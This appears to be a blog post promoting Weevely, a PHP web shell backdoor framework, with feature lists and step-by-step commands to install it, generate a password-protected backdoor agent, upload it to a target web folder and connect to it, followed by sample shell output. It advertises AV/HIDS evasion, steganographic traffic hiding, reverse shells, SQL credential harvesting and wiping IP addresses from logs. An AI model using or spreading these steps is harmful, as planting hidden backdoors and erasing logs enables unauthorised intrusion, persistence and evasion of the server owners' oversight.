## Stealthy PHP Web Shell Backdoor Weevely is a command line web shell dinamically extended over the network at runtime used for administration and pen testing of remote web accesses. It provides a weaponized telnet-like console through a PHP script running on the target, even in restricted environments. The low footprint agent and over 30 modules shape an extensible framework to administrate, conduct a pen-test, post-exploit, and audit remote web accesses in order to escalate privileges and pivot deeper in the internal networks. Weevely 3.2.0 Released: Weaponized web shell ## The modular framework Weevely modules extend the terminal providing a layer to interact to the remote target. The modules feature: * Shell/PHP telnet-like network terminal * Common server misconfigurations auditing * SQL console pivoting on target * HTTP traffic proxying through target * Mount target file system to local mount point * Run scans pivoting on target * File upload and download * Spawn reverse and direct TCP shells * Zip, gz, bz2 and tar handling ## [ ![Stealthy PHP Web Shell Backdoor: Weevely wiki](//n0where.net/wp-content/uploads/2014/08/wikipedia2.jpg) ]() ## The backdoor agent The remote agent is a very low footprint agent that receives the dynamically injected code from the client, extending the client functionalities over the network at run-time. The agent code is polymorphic and hardly detectable by AV and HIDS. The communication is covered and obfuscated within the HTTP protocol using steganographic techniques. ## Use cases: ### ** Web administration ** Weevely simplify the administration of your web account, especially with unprivileged accounts as in free hosting services and other shared environments. * [ Download and install web applications ]() – install WordPress with two commands * [ Edit SQL database and code of a web application ]() – adjust WordPress to use another DB ### ** Hacking ** Weevely is an essential tool for post exploitation tasks like privilege escalation and access maintaining also in limited hardened environments. * [ Harvest SQL credentials ]() – horizontal privilege escalation * [ Extract /etc/passwd content with no read access ]() – usernames info gathering * [ Brute force SQL credentials ]() – SQL passwords brute force on target * [ Clean IP address from logs ]() – Remove the track from access logs ## Installation: ### Linux The following example runs on a Debian/Ubuntu derived Linux environments with Python version 2.7. # Make sure that the python package manager and yaml libraries are installed $ sudo apt-get install g++ python-pip libyaml-dev python-dev # Install requirements $ sudo pip install prettytable Mako pyaml dateutils PySocks --upgrade ### OS X The following example runs on OS X with the Macports packaging system. $ sudo port install python27 py27-pip $ sudo port select --set pip pip27 $ sudo port select --set python python27 # Ideally, at this point you should install editline library (http://thrysoee.dk/editline/) # to have a working line completion in terminal. See issue #7 for more info. $ sudo pip install prettytable Mako pyaml dateutils readline PySocks --upgrade ### Windows The following example runs on Microsoft Windows 7 with Python version 2.7, and likely on other Windows version. # Enter in a folder which allows to call pip.exe usually C:\Python27\Scripts\ with no %PATH% set and # install the following requirements > pip install prettytable Mako pyaml dateutils pyreadline PySocks --upgrade ## Generate the backdoor agent Weevely client communicates to the PHP agent installed into the target. Run ./weevely.py to print help. $ ./weevely.py [+] weevely 3.0 [!] Error: too few arguments [+] Run terminal to the target weevely [+] Load session file weevely session [+] Generate backdoor agent weevely generate To generate a new agent, just use the generate option passing the password and path arguments. $ ./weevely.py generate mypassword agent.php Generated backdoor with password 'mypassword' in 'agent.php' of 1469 byte size. Then, upload the generated agent under the target web folder. Make sure that the agent PHP script is properly exposed and executable through the web server. ## Connect to the agent Launch weevely script to connect to the remote agent. $ ./weevely.py http://target/agent.php mypassword weevely> The first prompt weevely> is still not connected to allow users to set any useful pre-connection option e.g. set proxies to be used. Running a real command starts automatically the session on the remote target. weevely> ls agent.php index.html joomla-3.2.1 www-data@target:/var/www $ cd .. www-data@target:/var/ $ whoami www-data www-data@target:/var/ $ uname -a Linux ubuntu 3.2.0-65-generic 99-Ubuntu SMP Fri Jul 4 21:04:27 UTC 2014 i686 i686 i386 GNU/Linux www-data@target:/var/ $ Source && Download [ ![Stealthy PHP Web Shell Backdoor: Weevely download](//n0where.net/wp-content/uploads/2015/01/download.jpg) ]()

Query Builder